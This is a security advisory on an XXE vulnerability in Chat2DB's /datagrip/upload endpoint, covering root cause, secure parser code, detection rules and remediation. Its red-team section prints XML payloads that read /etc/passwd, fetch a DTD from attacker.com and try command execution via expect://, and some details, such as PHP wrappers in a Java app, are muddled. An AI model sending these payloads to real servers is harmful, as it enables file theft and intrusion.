CVE-2024-55081

Executive Summary

CVE-2024-55081 is an XML External Entity (XXE) injection vulnerability discovered in Chat2DB v0.3.5, specifically within the /datagrip/upload endpoint. This flaw allows an unauthenticated attacker to supply a crafted XML payload, leading to arbitrary code execution on the server. The vulnerability arises from improper parsing of XML input without disabling external entity processing. Given the lack of a confirmed patch and the public availability of proof-of-concept details, this poses a critical risk to any instance running the affected version. Immediate mitigation steps are required.

Supply Chain & Package Security

Chat2DB is a Java-based application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's own XML parsing logic. However, any deployment using Docker images or JAR files of Chat2DB v0.3.5 is affected. Users should verify the integrity of their downloaded artifacts and monitor for official patch releases.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the description and impact, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the only one affected.
• Confidentiality (C): High (H) – file disclosure possible.
• Integrity (I): High (H) – code execution possible.
• Availability (A): High (H) – denial of service via entity expansion.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit and can lead to full server compromise.

Deep Dive & Mechanics

The vulnerability is an XML External Entity (XXE) injection in the /datagrip/upload endpoint. This endpoint likely accepts XML files for data import or configuration. The application uses an XML parser that is not securely configured, allowing external entities to be processed.

Mechanism:

1. An attacker sends a POST request to /datagrip/upload with a crafted XML payload.
2. The XML payload contains an external entity definition that references a local file (e.g., /etc/passwd) or an external URL.
3. The parser resolves the entity, potentially reading sensitive files or executing a Server-Side Request Forgery (SSRF).
4. In more advanced scenarios, the attacker can use the XXE to achieve remote code execution by writing a web shell or exploiting other features (e.g., PHP wrappers, if applicable).

Root Cause: The XML parser is instantiated without disabling Document Type Definition (DTD) processing or external entity resolution. In Java, this typically means using DocumentBuilderFactory without setting setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) or setFeature("http://xml.org/sax/features/external-general-entities", false).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual Java):

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));
// Process the XML document

Patched Code (Secure Configuration):

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

The patched version explicitly disables DTDs and external entities, preventing XXE attacks.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy Chat2DB v0.3.5 in a Docker container.
2. Use a tool like Burp Suite or curl to interact with the /datagrip/upload endpoint.

Exploit Payload (XXE for file disclosure):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Exploit Payload (XXE for SSRF):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/malicious.dtd">
]>
<root>&xxe;</root>

Exploit Payload (XXE for RCE via expect):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>

Steps:

1. Send a POST request to http://target:port/datagrip/upload with the XML payload as the body.
2. Observe the response for the file content or error messages.
3. For RCE, use the expect:// protocol if the PHP expect module is installed (less common in Java).

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /datagrip/upload with XML content.
• Look for XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM declarations.
• Use WAF rules to block XML with external entities.

Hunting:

• Search logs for file://, http://, or expect:// in request bodies.
• Check for outbound connections from the Chat2DB server to unknown IPs.

Mitigation:

• Immediately disable the /datagrip/upload endpoint if not needed.
• Apply input validation to reject XML with DTDs.
• Use a secure XML parser configuration as shown in the patched code.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /datagrip/upload with XML content.
  • Outbound connections to attacker-controlled servers.
  • Unusual file reads (e.g., /etc/passwd, /etc/shadow).
• File System:
  • Unexpected files in the web root (e.g., shell.jsp, cmd.jsp).
  • Modified configuration files.
• Logs:
  • Error messages containing file paths or entity resolution failures.
  • Access logs showing repeated POST requests to the upload endpoint.

Detection Engineering

YARA Rule

rule CVE_2024_55081_XXE_Detection {
    meta:
        description = "Detects XXE payloads targeting Chat2DB /datagrip/upload"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-55081"
    strings:
        $xxe1 = "<!DOCTYPE" nocase
        $xxe2 = "<!ENTITY" nocase
        $xxe3 = "SYSTEM" nocase
        $xxe4 = "file://" nocase
        $xxe5 = "http://" nocase
        $xxe6 = "expect://" nocase
    condition:
        all of ($xxe1, $xxe2, $xxe3) and any of ($xxe4, $xxe5, $xxe6)
}

Sigma Rule

title: XXE Attack Against Chat2DB /datagrip/upload
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XML External Entity injection attempts targeting Chat2DB
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/datagrip/upload'
        cs-content-type: 'text/xml' OR 'application/xml'
    keywords:
        - '<!DOCTYPE'
        - '<!ENTITY'
        - 'SYSTEM'
    condition: selection and keywords
falsepositives:
    - Legitimate XML uploads with DTDs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-55081 XXE Attempt Against Chat2DB"; flow:to_server,established; content:"POST"; http_method; content:"/datagrip/upload"; http_uri; content:"<!DOCTYPE"; http_client_body; content:"<!ENTITY"; http_client_body; content:"SYSTEM"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the /datagrip/upload endpoint by removing or commenting out the relevant route in the application configuration.
2. Patch: Apply the secure XML parser configuration as shown in the patched code section. If an official patch is released, apply it immediately.
3. Workaround: Use a Web Application Firewall (WAF) to block requests containing <!DOCTYPE, <!ENTITY, or SYSTEM in the body.
4. Monitoring: Enable detailed logging for the upload endpoint and monitor for suspicious XML payloads.
5. Network Segmentation: Ensure the Chat2DB server cannot make outbound connections to the internet unless necessary.
6. User Education: Inform users of the risk and advise against uploading untrusted XML files.

Valters IT Signature: This report is provided for authorized security testing and defensive purposes only. Unauthorized exploitation is illegal.